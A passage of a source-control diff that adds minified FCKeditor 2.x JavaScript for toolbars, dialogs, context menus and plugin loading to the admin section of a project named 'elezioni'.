FCKToolbarButton('InsertHorizontalRule',FCKLang.InsertLineLbl,FCKLang.InsertLine,null,false,true,40);break;case 'JustifyLeft':B=new FCKToolbarButton('JustifyLeft',FCKLang.LeftJustify,null,null,false,true,30);break;case 'JustifyCenter':B=new FCKToolbarButton('JustifyCenter',FCKLang.CenterJustify,null,null,false,true,31);break;case 'JustifyRight':B=new FCKToolbarButton('JustifyRight',FCKLang.RightJustify,null,null,false,true,32);break;case 'JustifyFull':B=new FCKToolbarButton('JustifyFull',FCKLang.BlockJustify,null,null,false,true,33);break;case 'Style':B=new FCKToolbarStyleCombo();break;case 'FontName':B=new FCKToolbarFontsCombo();break;case 'FontSize':B=new FCKToolbarFontSizeCombo();break;case 'FontFormat':B=new FCKToolbarFontFormatCombo();break;case 'TextColor':B=new FCKToolbarPanelButton('TextColor',FCKLang.TextColor,null,null,45);break;case 'BGColor':B=new FCKToolbarPanelButton('BGColor',FCKLang.BGColor,null,null,46);break;case 'Find':B=new FCKToolbarButton('Find',FCKLang.Find,null,null,null,null,16);break;case 'Replace':B=new FCKToolbarButton('Replace',FCKLang.Replace,null,null,null,null,17);break;case 'Form':B=new FCKToolbarButton('Form',FCKLang.Form,null,null,null,null,48);break;case 'Checkbox':B=new FCKToolbarButton('Checkbox',FCKLang.Checkbox,null,null,null,null,49);break;case 'Radio':B=new FCKToolbarButton('Radio',FCKLang.RadioButton,null,null,null,null,50);break;case 'TextField':B=new FCKToolbarButton('TextField',FCKLang.TextField,null,null,null,null,51);break;case 'Textarea':B=new FCKToolbarButton('Textarea',FCKLang.Textarea,null,null,null,null,52);break;case 'HiddenField':B=new FCKToolbarButton('HiddenField',FCKLang.HiddenField,null,null,null,null,56);break;case 'Button':B=new FCKToolbarButton('Button',FCKLang.Button,null,null,null,null,54);break;case 'Select':B=new FCKToolbarButton('Select',FCKLang.SelectionField,null,null,null,null,53);break;case 'ImageButton':B=new FCKToolbarButton('ImageButton',FCKLang.ImageButton,null,null,null,null,55);break;default:alert(FCKLang.UnknownToolbarItem.replace(/%1/g,A));return null;};FCKToolbarItems.LoadedItems[A]=B;return B;}
+var FCKToolbar=function(){this.Items=new Array();if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbar_Cleanup);};FCKToolbar.prototype.AddItem=function(A){return this.Items[this.Items.length]=A;};FCKToolbar.prototype.AddButton=function(A,B,C,D,E,F){if (typeof(D)=='number') D=[this.DefaultIconsStrip,this.DefaultIconSize,D];var G=new FCKToolbarButtonUI(A,B,C,D,E,F);G._FCKToolbar=this;G.OnClick=FCKToolbar_OnItemClick;return this.AddItem(G);};function FCKToolbar_OnItemClick(item){var oToolbar=item._FCKToolbar;if (oToolbar.OnItemClick) oToolbar.OnItemClick(oToolbar,item);};FCKToolbar.prototype.AddSeparator=function(){this.AddItem(new FCKToolbarSeparator());};FCKToolbar.prototype.Create=function(A){if (this.MainElement){if (this.MainElement.parentNode) this.MainElement.parentNode.removeChild(this.MainElement);this.MainElement=null;};var B=FCKTools.GetElementDocument(A);var e=this.MainElement=B.createElement('table');e.className='TB_Toolbar';e.style.styleFloat=e.style.cssFloat=(FCKLang.Dir=='ltr'?'left':'right');e.dir=FCKLang.Dir;e.cellPadding=0;e.cellSpacing=0;this.RowElement=e.insertRow(-1);var C;if (!this.HideStart){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_Start';};for (var i=0;i<this.Items.length;i++){this.Items[i].Create(this.RowElement.insertCell(-1));};if (!this.HideEnd){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_End';};A.appendChild(e);};function FCKToolbar_Cleanup(){this.MainElement=null;this.RowElement=null;};var FCKToolbarSeparator=function(){};FCKToolbarSeparator.prototype.Create=function(A){FCKTools.AppendElement(A,'div').className='TB_Separator';}
+var FCKToolbarBreak=function(){};FCKToolbarBreak.prototype.Create=function(A){var B=A.ownerDocument.createElement('div');B.style.clear=B.style.cssFloat=FCKLang.Dir=='rtl'?'right':'left';A.appendChild(B);}
+function FCKToolbarSet_Create(overhideLocation){var oToolbarSet;var sLocation=overhideLocation||FCKConfig.ToolbarLocation;switch (sLocation){case 'In':document.getElementById('xToolbarRow').style.display='';oToolbarSet=new FCKToolbarSet(document);break;default:FCK.Events.AttachEvent('OnBlur',FCK_OnBlur);FCK.Events.AttachEvent('OnFocus',FCK_OnFocus);var eToolbarTarget;var oOutMatch=sLocation.match(/^Out:(.+)\((\w+)\)$/);if (oOutMatch){eToolbarTarget=eval('parent.'+oOutMatch[1]).document.getElementById(oOutMatch[2]);}else{oOutMatch=sLocation.match(/^Out:(\w+)$/);if (oOutMatch) eToolbarTarget=parent.document.getElementById(oOutMatch[1]);};if (!eToolbarTarget){alert('Invalid value for "ToolbarLocation"');return this._Init('In');};if (oToolbarSet=eToolbarTarget.__FCKToolbarSet) break;var eToolbarIFrame=FCKTools.GetElementDocument(eToolbarTarget).createElement('iframe');eToolbarIFrame.frameBorder=0;eToolbarIFrame.width='100%';eToolbarIFrame.height='10';eToolbarTarget.appendChild(eToolbarIFrame);eToolbarIFrame.unselectable='on';var eTargetDocument=eToolbarIFrame.contentWindow.document;eTargetDocument.open();eTargetDocument.write('<html><head><script type="text/javascript"> window.onload = window.onresize = function() { window.frameElement.height = document.body.scrollHeight ; } </script></head><body style="overflow: hidden">'+document.getElementById('xToolbarSpace').innerHTML+'</body></html>');eTargetDocument.close();eTargetDocument.oncontextmenu=FCKTools.CancelEvent;FCKTools.AppendStyleSheet(eTargetDocument,FCKConfig.SkinPath+'fck_editor.css');oToolbarSet=eToolbarTarget.__FCKToolbarSet=new FCKToolbarSet(eTargetDocument);oToolbarSet._IFrame=eToolbarIFrame;if (FCK.IECleanup) FCK.IECleanup.AddItem(eToolbarTarget,FCKToolbarSet_Target_Cleanup);};oToolbarSet.CurrentInstance=FCK;FCK.AttachToOnSelectionChange(oToolbarSet.RefreshItemsState);return oToolbarSet;};function FCK_OnBlur(editorInstance){var eToolbarSet=editorInstance.ToolbarSet;if (eToolbarSet.CurrentInstance==editorInstance) eToolbarSet.Disable();};function FCK_OnFocus(editorInstance){var oToolbarset=editorInstance.ToolbarSet;var oInstance=editorInstance||FCK;oToolbarset.CurrentInstance.FocusManager.RemoveWindow(oToolbarset._IFrame.contentWindow);oToolbarset.CurrentInstance=oInstance;oInstance.FocusManager.AddWindow(oToolbarset._IFrame.contentWindow,true);oToolbarset.Enable();};function FCKToolbarSet_Cleanup(){this._TargetElement=null;this._IFrame=null;};function FCKToolbarSet_Target_Cleanup(){this.__FCKToolbarSet=null;};var FCKToolbarSet=function(A){this._Document=A;this._TargetElement=A.getElementById('xToolbar');var B=A.getElementById('xExpandHandle');var C=A.getElementById('xCollapseHandle');B.title=FCKLang.ToolbarExpand;B.onclick=FCKToolbarSet_Expand_OnClick;C.title=FCKLang.ToolbarCollapse;C.onclick=FCKToolbarSet_Collapse_OnClick;if (!FCKConfig.ToolbarCanCollapse||FCKConfig.ToolbarStartExpanded) this.Expand();else this.Collapse();C.style.display=FCKConfig.ToolbarCanCollapse?'':'none';if (FCKConfig.ToolbarCanCollapse) C.style.display='';else A.getElementById('xTBLeftBorder').style.display='';this.Toolbars=new Array();this.IsLoaded=false;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarSet_Cleanup);};function FCKToolbarSet_Expand_OnClick(){FCK.ToolbarSet.Expand();};function FCKToolbarSet_Collapse_OnClick(){FCK.ToolbarSet.Collapse();};FCKToolbarSet.prototype.Expand=function(){this._ChangeVisibility(false);};FCKToolbarSet.prototype.Collapse=function(){this._ChangeVisibility(true);};FCKToolbarSet.prototype._ChangeVisibility=function(A){this._Document.getElementById('xCollapsed').style.display=A?'':'none';this._Document.getElementById('xExpanded').style.display=A?'none':'';if (FCKBrowserInfo.IsGecko){FCKTools.RunFunction(window.onresize);}};FCKToolbarSet.prototype.Load=function(A){this.Name=A;this.Items=new Array();this.ItemsWysiwygOnly=new Array();this.ItemsContextSensitive=new Array();this._TargetElement.innerHTML='';var B=FCKConfig.ToolbarSets[A];if (!B){alert(FCKLang.UnknownToolbarSet.replace(/%1/g,A));return;};this.Toolbars=new Array();for (var x=0;x<B.length;x++){var C=B[x];var D;if (typeof(C)=='string'){if (C=='/') D=new FCKToolbarBreak();}else{D=new FCKToolbar();for (var j=0;j<C.length;j++){var E=C[j];if (E=='-') D.AddSeparator();else{var F=FCKToolbarItems.GetItem(E);if (F){D.AddItem(F);this.Items.push(F);if (!F.SourceView) this.ItemsWysiwygOnly.push(F);if (F.ContextSensitive) this.ItemsContextSensitive.push(F);}}}};D.Create(this._TargetElement);this.Toolbars[this.Toolbars.length]=D;};FCKTools.DisableSelection(this._Document.getElementById('xCollapseHandle').parentNode);if (FCK.Status!=FCK_STATUS_COMPLETE) FCK.Events.AttachEvent('OnStatusChange',this.RefreshModeState);else this.RefreshModeState();this.IsLoaded=true;this.IsEnabled=true;FCKTools.RunFunction(this.OnLoad);};FCKToolbarSet.prototype.Enable=function(){if (this.IsEnabled) return;this.IsEnabled=true;var A=this.Items;for (var i=0;i<A.length;i++) A[i].RefreshState();};FCKToolbarSet.prototype.Disable=function(){if (!this.IsEnabled) return;this.IsEnabled=false;var A=this.Items;for (var i=0;i<A.length;i++) A[i].Disable();};FCKToolbarSet.prototype.RefreshModeState=function(A){if (FCK.Status!=FCK_STATUS_COMPLETE) return;var B=A?A.ToolbarSet:this;var C=B.ItemsWysiwygOnly;if (FCK.EditMode==FCK_EDITMODE_WYSIWYG){for (var i=0;i<C.length;i++) C[i].Enable();B.RefreshItemsState(A);}else{B.RefreshItemsState(A);for (var i=0;i<C.length;i++) C[i].Disable();}};FCKToolbarSet.prototype.RefreshItemsState=function(A){var B=(A?A.ToolbarSet:this).ItemsContextSensitive;for (var i=0;i<B.length;i++) B[i].RefreshState();};
+var FCKDialog=new Object();FCKDialog.OpenDialog=function(A,B,C,D,E,F,G,H){var I=new Object();I.Title=B;I.Page=C;I.Editor=window;I.CustomValue=F;var J=FCKConfig.BasePath+'fckdialog.html';this.Show(I,A,J,D,E,G,H);};
+FCKDialog.Show=function(A,B,C,D,E,F,G){var H=(FCKConfig.ScreenHeight-E)/2;var I=(FCKConfig.ScreenWidth-D)/2;var J="location=no,menubar=no,toolbar=no,dependent=yes,dialog=yes,minimizable=no,modal=yes,alwaysRaised=yes"+",resizable="+(G?'yes':'no')+",width="+D+",height="+E+",top="+H+",left="+I;if (!F) F=window;FCKFocusManager.Lock();var K=F.open('','FCKeditorDialog_'+B,J,true);if (!K){alert(FCKLang.DialogBlocked);FCKFocusManager.Unlock();return;};K.moveTo(I,H);K.resizeTo(D,E);K.focus();K.location.href=C;K.dialogArguments=A;F.FCKLastDialogInfo=A;this.Window=K;try{window.top.captureEvents(Event.CLICK|Event.MOUSEDOWN|Event.MOUSEUP|Event.FOCUS);window.top.parent.addEventListener('mousedown',this.CheckFocus,true);window.top.parent.addEventListener('mouseup',this.CheckFocus,true);window.top.parent.addEventListener('click',this.CheckFocus,true);window.top.parent.addEventListener('focus',this.CheckFocus,true);}catch (e){}};FCKDialog.CheckFocus=function(){if (typeof(FCKDialog)!="object") return false;if (FCKDialog.Window&&!FCKDialog.Window.closed) FCKDialog.Window.focus();else{try{window.top.releaseEvents(Event.CLICK|Event.MOUSEDOWN|Event.MOUSEUP|Event.FOCUS);window.top.parent.removeEventListener('onmousedown',FCKDialog.CheckFocus,true);window.top.parent.removeEventListener('mouseup',FCKDialog.CheckFocus,true);window.top.parent.removeEventListener('click',FCKDialog.CheckFocus,true);window.top.parent.removeEventListener('onfocus',FCKDialog.CheckFocus,true);}catch (e){}};return false;};
+var FCKMenuItem=function(A,B,C,D,E){this.Name=B;this.Label=C||B;this.IsDisabled=E;this.Icon=new FCKIcon(D);this.SubMenu=new FCKMenuBlockPanel();this.SubMenu.Parent=A;this.SubMenu.OnClick=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnClick,this);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuItem_Cleanup);};FCKMenuItem.prototype.AddItem=function(A,B,C,D){this.HasSubMenu=true;return this.SubMenu.AddItem(A,B,C,D);};FCKMenuItem.prototype.AddSeparator=function(){this.SubMenu.AddSeparator();};FCKMenuItem.prototype.Create=function(A){var B=this.HasSubMenu;var C=FCKTools.GetElementDocument(A);var r=this.MainElement=A.insertRow(-1);r.className=this.IsDisabled?'MN_Item_Disabled':'MN_Item';if (!this.IsDisabled){FCKTools.AddEventListenerEx(r,'mouseover',FCKMenuItem_OnMouseOver,[this]);FCKTools.AddEventListenerEx(r,'click',FCKMenuItem_OnClick,[this]);if (!B) FCKTools.AddEventListenerEx(r,'mouseout',FCKMenuItem_OnMouseOut,[this]);};var D=r.insertCell(-1);D.className='MN_Icon';D.appendChild(this.Icon.CreateIconElement(C));D=r.insertCell(-1);D.className='MN_Label';D.noWrap=true;D.appendChild(C.createTextNode(this.Label));D=r.insertCell(-1);if (B){D.className='MN_Arrow';var E=D.appendChild(C.createElement('IMG'));E.src=FCK_IMAGES_PATH+'arrow_'+FCKLang.Dir+'.gif';E.width=4;E.height=7;this.SubMenu.Create();this.SubMenu.Panel.OnHide=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnHide,this);}};FCKMenuItem.prototype.Activate=function(){this.MainElement.className='MN_Item_Over';if (this.HasSubMenu){this.SubMenu.Show(this.MainElement.offsetWidth+2,-2,this.MainElement);};FCKTools.RunFunction(this.OnActivate,this);};FCKMenuItem.prototype.Deactivate=function(){this.MainElement.className='MN_Item';if (this.HasSubMenu) this.SubMenu.Hide();};/* Events */ function FCKMenuItem_SubMenu_OnClick(clickedItem,listeningItem){FCKTools.RunFunction(listeningItem.OnClick,listeningItem,[clickedItem]);};function FCKMenuItem_SubMenu_OnHide(menuItem){menuItem.Deactivate();};function FCKMenuItem_OnClick(ev,menuItem){if (menuItem.HasSubMenu) menuItem.Activate();else{menuItem.Deactivate();FCKTools.RunFunction(menuItem.OnClick,menuItem,[menuItem]);}};function FCKMenuItem_OnMouseOver(ev,menuItem){menuItem.Activate();};function FCKMenuItem_OnMouseOut(ev,menuItem){menuItem.Deactivate();};function FCKMenuItem_Cleanup(){this.MainElement=null;}
+var FCKMenuBlock=function(){this._Items=new Array();};FCKMenuBlock.prototype.Count=function(){return this._Items.length;};FCKMenuBlock.prototype.AddItem=function(A,B,C,D){var E=new FCKMenuItem(this,A,B,C,D);E.OnClick=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnClick,this);E.OnActivate=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnActivate,this);this._Items.push(E);return E;};FCKMenuBlock.prototype.AddSeparator=function(){this._Items.push(new FCKMenuSeparator());};FCKMenuBlock.prototype.RemoveAllItems=function(){this._Items=new Array();var A=this._ItemsTable;if (A){while (A.rows.length>0) A.deleteRow(0);}};FCKMenuBlock.prototype.Create=function(A){if (!this._ItemsTable){if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuBlock_Cleanup);this._Window=FCKTools.GetElementWindow(A);var B=FCKTools.GetElementDocument(A);var C=A.appendChild(B.createElement('table'));C.cellPadding=0;C.cellSpacing=0;FCKTools.DisableSelection(C);var D=C.insertRow(-1).insertCell(-1);D.className='MN_Menu';var E=this._ItemsTable=D.appendChild(B.createElement('table'));E.cellPadding=0;E.cellSpacing=0;};for (var i=0;i<this._Items.length;i++) this._Items[i].Create(this._ItemsTable);};/* Events */ function FCKMenuBlock_Item_OnClick(clickedItem,menuBlock){FCKTools.RunFunction(menuBlock.OnClick,menuBlock,[clickedItem]);};function FCKMenuBlock_Item_OnActivate(menuBlock){var oActiveItem=menuBlock._ActiveItem;if (oActiveItem&&oActiveItem!=this){if (!FCKBrowserInfo.IsIE&&oActiveItem.HasSubMenu&&!this.HasSubMenu) menuBlock._Window.focus();oActiveItem.Deactivate();};menuBlock._ActiveItem=this;};function FCKMenuBlock_Cleanup(){this._Window=null;this._ItemsTable=null;};var FCKMenuSeparator=function(){};FCKMenuSeparator.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var r=A.insertRow(-1);var C=r.insertCell(-1);C.className='MN_Separator MN_Icon';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';}
+var FCKMenuBlockPanel=function(){FCKMenuBlock.call(this);};FCKMenuBlockPanel.prototype=new FCKMenuBlock();FCKMenuBlockPanel.prototype.Create=function(){var A=this.Panel=(this.Parent&&this.Parent.Panel?this.Parent.Panel.CreateChildPanel():new FCKPanel());A.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');FCKMenuBlock.prototype.Create.call(this,A.MainNode);};FCKMenuBlockPanel.prototype.Show=function(x,y,A){if (!this.Panel.CheckIsOpened()) this.Panel.Show(x,y,A);};FCKMenuBlockPanel.prototype.Hide=function(){if (this.Panel.CheckIsOpened()) this.Panel.Hide();}
+var FCKContextMenu=function(A,B,C){var D=this._Panel=new FCKPanel(A,true);D.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');D.IsContextMenu=true;var E=this._MenuBlock=new FCKMenuBlock();E.Panel=D;E.OnClick=FCKTools.CreateEventListener(FCKContextMenu_MenuBlock_OnClick,this);this._Redraw=true;this.SetMouseClickWindow(B||A);};FCKContextMenu.prototype.SetMouseClickWindow=function(A){if (!FCKBrowserInfo.IsIE){this._Document=A.document;this._Document.addEventListener('contextmenu',FCKContextMenu_Document_OnContextMenu,false);}};FCKContextMenu.prototype.AddItem=function(A,B,C,D){var E=this._MenuBlock.AddItem(A,B,C,D);this._Redraw=true;return E;};FCKContextMenu.prototype.AddSeparator=function(){this._MenuBlock.AddSeparator();this._Redraw=true;};FCKContextMenu.prototype.RemoveAllItems=function(){this._MenuBlock.RemoveAllItems();this._Redraw=true;};FCKContextMenu.prototype.AttachToElement=function(A){if (FCKBrowserInfo.IsIE) FCKTools.AddEventListenerEx(A,'contextmenu',FCKContextMenu_AttachedElement_OnContextMenu,this);else A._FCKContextMenu=this;};function FCKContextMenu_Document_OnContextMenu(e){var el=e.target;while (el){if (el._FCKContextMenu){FCKTools.CancelEvent(e);FCKContextMenu_AttachedElement_OnContextMenu(e,el._FCKContextMenu,el);};el=el.parentNode;}};function FCKContextMenu_AttachedElement_OnContextMenu(ev,fckContextMenu,el){var eTarget=el||this;if (fckContextMenu.OnBeforeOpen) fckContextMenu.OnBeforeOpen.call(fckContextMenu,eTarget);if (fckContextMenu._MenuBlock.Count()==0) return false;if (fckContextMenu._Redraw){fckContextMenu._MenuBlock.Create(fckContextMenu._Panel.MainNode);fckContextMenu._Redraw=false;};fckContextMenu._Panel.Show(ev.pageX||ev.screenX,ev.pageY||ev.screenY,ev.currentTarget||null);return false;};function FCKContextMenu_MenuBlock_OnClick(menuItem,contextMenu){contextMenu._Panel.Hide();FCKTools.RunFunction(contextMenu.OnItemClick,contextMenu,menuItem);}
+FCK.ContextMenu=new Object();FCK.ContextMenu.Listeners=new Array();FCK.ContextMenu.RegisterListener=function(A){if (A) this.Listeners.push(A);};function FCK_ContextMenu_Init(){var oInnerContextMenu=FCK.ContextMenu._InnerContextMenu=new FCKContextMenu(FCKBrowserInfo.IsIE?window:window.parent,FCK.EditorWindow,FCKLang.Dir);oInnerContextMenu.OnBeforeOpen=FCK_ContextMenu_OnBeforeOpen;oInnerContextMenu.OnItemClick=FCK_ContextMenu_OnItemClick;var oMenu=FCK.ContextMenu;for (var i=0;i<FCKConfig.ContextMenu.length;i++) oMenu.RegisterListener(FCK_ContextMenu_GetListener(FCKConfig.ContextMenu[i]));};function FCK_ContextMenu_GetListener(listenerName){switch (listenerName){case 'Generic':return {AddItems:function(A,B,C){A.AddItem('Cut',FCKLang.Cut,7,FCKCommands.GetCommand('Cut').GetState()==FCK_TRISTATE_DISABLED);A.AddItem('Copy',FCKLang.Copy,8,FCKCommands.GetCommand('Copy').GetState()==FCK_TRISTATE_DISABLED);A.AddItem('Paste',FCKLang.Paste,9,FCKCommands.GetCommand('Paste').GetState()==FCK_TRISTATE_DISABLED);}};case 'Table':return {AddItems:function(A,B,C){var D=(C=='TABLE');var E=(!D&&FCKSelection.HasAncestorNode('TABLE'));if (E){A.AddSeparator();var F=A.AddItem('Cell',FCKLang.CellCM);F.AddItem('TableInsertCell',FCKLang.InsertCell,58);F.AddItem('TableDeleteCells',FCKLang.DeleteCells,59);F.AddItem('TableMergeCells',FCKLang.MergeCells,60);F.AddItem('TableSplitCell',FCKLang.SplitCell,61);F.AddSeparator();F.AddItem('TableCellProp',FCKLang.CellProperties,57);A.AddSeparator();F=A.AddItem('Row',FCKLang.RowCM);F.AddItem('TableInsertRow',FCKLang.InsertRow,62);F.AddItem('TableDeleteRows',FCKLang.DeleteRows,63);A.AddSeparator();F=A.AddItem('Column',FCKLang.ColumnCM);F.AddItem('TableInsertColumn',FCKLang.InsertColumn,64);F.AddItem('TableDeleteColumns',FCKLang.DeleteColumns,65);};if (D||E){A.AddSeparator();A.AddItem('TableDelete',FCKLang.TableDelete);A.AddItem('TableProp',FCKLang.TableProperties,39);}}};case 'Link':return {AddItems:function(A,B,C){var D=(C=='A'||FCKSelection.HasAncestorNode('A'));if (D||FCK.GetNamedCommandState('Unlink')!=FCK_TRISTATE_DISABLED){A.AddSeparator();if (D) A.AddItem('Link',FCKLang.EditLink,34);A.AddItem('Unlink',FCKLang.RemoveLink,35);}}};case 'Image':return {AddItems:function(A,B,C){if (C=='IMG'&&!B.getAttribute('_fckfakelement')){A.AddSeparator();A.AddItem('Image',FCKLang.ImageProperties,37);}}};case 'Anchor':return {AddItems:function(A,B,C){if (C=='IMG'&&B.getAttribute('_fckanchor')){A.AddSeparator();A.AddItem('Anchor',FCKLang.AnchorProp,36);}}};case 'Flash':return {AddItems:function(A,B,C){if (C=='IMG'&&B.getAttribute('_fckflash')){A.AddSeparator();A.AddItem('Flash',FCKLang.FlashProperties,38);}}};case 'Form':return {AddItems:function(A,B,C){if (FCKSelection.HasAncestorNode('FORM')){A.AddSeparator();A.AddItem('Form',FCKLang.FormProp,48);}}};case 'Checkbox':return {AddItems:function(A,B,C){if (C=='INPUT'&&B.type=='checkbox'){A.AddSeparator();A.AddItem('Checkbox',FCKLang.CheckboxProp,49);}}};case 'Radio':return {AddItems:function(A,B,C){if (C=='INPUT'&&B.type=='radio'){A.AddSeparator();A.AddItem('Radio',FCKLang.RadioButtonProp,50);}}};case 'TextField':return {AddItems:function(A,B,C){if (C=='INPUT'&&(B.type=='text'||B.type=='password')){A.AddSeparator();A.AddItem('TextField',FCKLang.TextFieldProp,51);}}};case 'HiddenField':return {AddItems:function(A,B,C){if (C=='INPUT'&&B.type=='hidden'){A.AddSeparator();A.AddItem('HiddenField',FCKLang.HiddenFieldProp,56);}}};case 'ImageButton':return {AddItems:function(A,B,C){if (C=='INPUT'&&B.type=='image'){A.AddSeparator();A.AddItem('ImageButton',FCKLang.ImageButtonProp,55);}}};case 'Button':return {AddItems:function(A,B,C){if (C=='INPUT'&&(B.type=='button'||B.type=='submit'||B.type=='reset')){A.AddSeparator();A.AddItem('Button',FCKLang.ButtonProp,54);}}};case 'Select':return {AddItems:function(A,B,C){if (C=='SELECT'){A.AddSeparator();A.AddItem('Select',FCKLang.SelectionFieldProp,53);}}};case 'Textarea':return {AddItems:function(A,B,C){if (C=='TEXTAREA'){A.AddSeparator();A.AddItem('Textarea',FCKLang.TextareaProp,52);}}};case 'BulletedList':return {AddItems:function(A,B,C){if (FCKSelection.HasAncestorNode('UL')){A.AddSeparator();A.AddItem('BulletedList',FCKLang.BulletedListProp,27);}}};case 'NumberedList':return {AddItems:function(A,B,C){if (FCKSelection.HasAncestorNode('OL')){A.AddSeparator();A.AddItem('NumberedList',FCKLang.NumberedListProp,26);}}};}};function FCK_ContextMenu_OnBeforeOpen(){FCK.Events.FireEvent("OnSelectionChange");var oTag,sTagName;if (oTag=FCKSelection.GetSelectedElement()) sTagName=oTag.tagName;var oMenu=FCK.ContextMenu._InnerContextMenu;oMenu.RemoveAllItems();var aListeners=FCK.ContextMenu.Listeners;for (var i=0;i<aListeners.length;i++) aListeners[i].AddItems(oMenu,oTag,sTagName);};function FCK_ContextMenu_OnItemClick(item){FCK.Focus();FCKCommands.GetCommand(item.Name).Execute();}
+var FCKPlugin=function(A,B,C){this.Name=A;this.BasePath=C?C:FCKConfig.PluginsPath;this.Path=this.BasePath+A+'/';if (!B||B.length==0) this.AvailableLangs=new Array();else this.AvailableLangs=B.split(',');};FCKPlugin.prototype.Load=function(){if (this.AvailableLangs.length>0){var A;if (this.AvailableLangs.indexOf(FCKLanguageManager.ActiveLanguage.Code)>=0) A=FCKLanguageManager.ActiveLanguage.Code;else A=this.AvailableLangs[0];LoadScript(this.Path+'lang/'+A+'.js');};LoadScript(this.Path+'fckplugin.js');}
+var FCKPlugins=FCK.Plugins=new Object();FCKPlugins.ItemsCount=0;FCKPlugins.Items=new Object();FCKPlugins.Load=function(){var A=FCKPlugins.Items;for (var i=0;i<FCKConfig.Plugins.Items.length;i++){var B=FCKConfig.Plugins.Items[i];var C=A[B[0]]=new FCKPlugin(B[0],B[1],B[2]);FCKPlugins.ItemsCount++;};for (var s in A) A[s].Load();FCKPlugins.Load=null;}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/js/fckeditorcode_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/js/fckeditorcode_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/js/fckeditorcode_ie.js	(revision 44)
@@ -0,0 +1,81 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * This file has been compacted for best loading performance.
+ */
+var FCK_STATUS_NOTLOADED=window.parent.FCK_STATUS_NOTLOADED=0;var FCK_STATUS_ACTIVE=window.parent.FCK_STATUS_ACTIVE=1;var FCK_STATUS_COMPLETE=window.parent.FCK_STATUS_COMPLETE=2;var FCK_TRISTATE_OFF=window.parent.FCK_TRISTATE_OFF=0;var FCK_TRISTATE_ON=window.parent.FCK_TRISTATE_ON=1;var FCK_TRISTATE_DISABLED=window.parent.FCK_TRISTATE_DISABLED=-1;var FCK_UNKNOWN=window.parent.FCK_UNKNOWN=-9;var FCK_TOOLBARITEM_ONLYICON=window.parent.FCK_TOOLBARITEM_ONLYICON=0;var FCK_TOOLBARITEM_ONLYTEXT=window.parent.FCK_TOOLBARITEM_ONLYTEXT=1;var FCK_TOOLBARITEM_ICONTEXT=window.parent.FCK_TOOLBARITEM_ICONTEXT=2;var FCK_EDITMODE_WYSIWYG=window.parent.FCK_EDITMODE_WYSIWYG=0;var FCK_EDITMODE_SOURCE=window.parent.FCK_EDITMODE_SOURCE=1;var FCK_IMAGES_PATH='images/';var FCK_SPACER_PATH='images/spacer.gif';
+String.prototype.Contains=function(A){return (this.indexOf(A)>-1);};String.prototype.Equals=function(){for (var i=0;i<arguments.length;i++) if (this==arguments[i]) return true;return false;};String.prototype.ReplaceAll=function(A,B){var C=this;for (var i=0;i<A.length;i++){C=C.replace(A[i],B[i]);};return C;};Array.prototype.AddItem=function(A){var i=this.length;this[i]=A;return i;};Array.prototype.indexOf=function(A){for (var i=0;i<this.length;i++){if (this[i]==A) return i;};return-1;};String.prototype.startsWith=function(A){return (this.substr(0,A.length)==A);};String.prototype.endsWith=function(A,B){var C=this.length;var D=A.length;if (D>C) return false;if (B){var E=new RegExp(A+'$','i');return E.test(this);}else return (D==0||this.substr(C-D,D)==A);};String.prototype.remove=function(A,B){var s='';if (A>0) s=this.substring(0,A);if (A+B<this.length) s+=this.substring(A+B,this.length);return s;};String.prototype.trim=function(){return this.replace(/(^\s*)|(\s*$)/g,'');};String.prototype.ltrim=function(){return this.replace(/^\s*/g,'');};String.prototype.rtrim=function(){return this.replace(/\s*$/g,'');};String.prototype.replaceNewLineChars=function(A){return this.replace(/\n/g,A);}
+var	FCKIECleanup=function(A){this.Items=new Array();A._FCKCleanupObj=this;A.attachEvent('onunload',FCKIECleanup_Cleanup);};FCKIECleanup.prototype.AddItem=function(A,B){this.Items.push([A,B]);};function FCKIECleanup_Cleanup(){var aItems=this._FCKCleanupObj.Items;var iLenght=aItems.length;for (var i=0;i<iLenght;i++){var oItem=aItems[i];oItem[1].call(oItem[0]);aItems[i]=null;};this._FCKCleanupObj=null;if (CollectGarbage) CollectGarbage();}
+var s=navigator.userAgent.toLowerCase();var FCKBrowserInfo={IsIE:s.Contains('msie'),IsIE7:s.Contains('msie 7'),IsGecko:s.Contains('gecko/'),IsSafari:s.Contains('safari'),IsOpera:s.Contains('opera')};FCKBrowserInfo.IsGeckoLike=FCKBrowserInfo.IsGecko||FCKBrowserInfo.IsSafari||FCKBrowserInfo.IsOpera;if (FCKBrowserInfo.IsGecko){var sGeckoVersion=s.match(/gecko\/(\d+)/)[1];FCKBrowserInfo.IsGecko10=sGeckoVersion<20051111;}
+var FCKURLParams=new Object();var aParams=document.location.search.substr(1).split('&');for (var i=0;i<aParams.length;i++){var aParam=aParams[i].split('=');var sParamName=aParam[0];var sParamValue=aParam[1];FCKURLParams[sParamName]=sParamValue;}
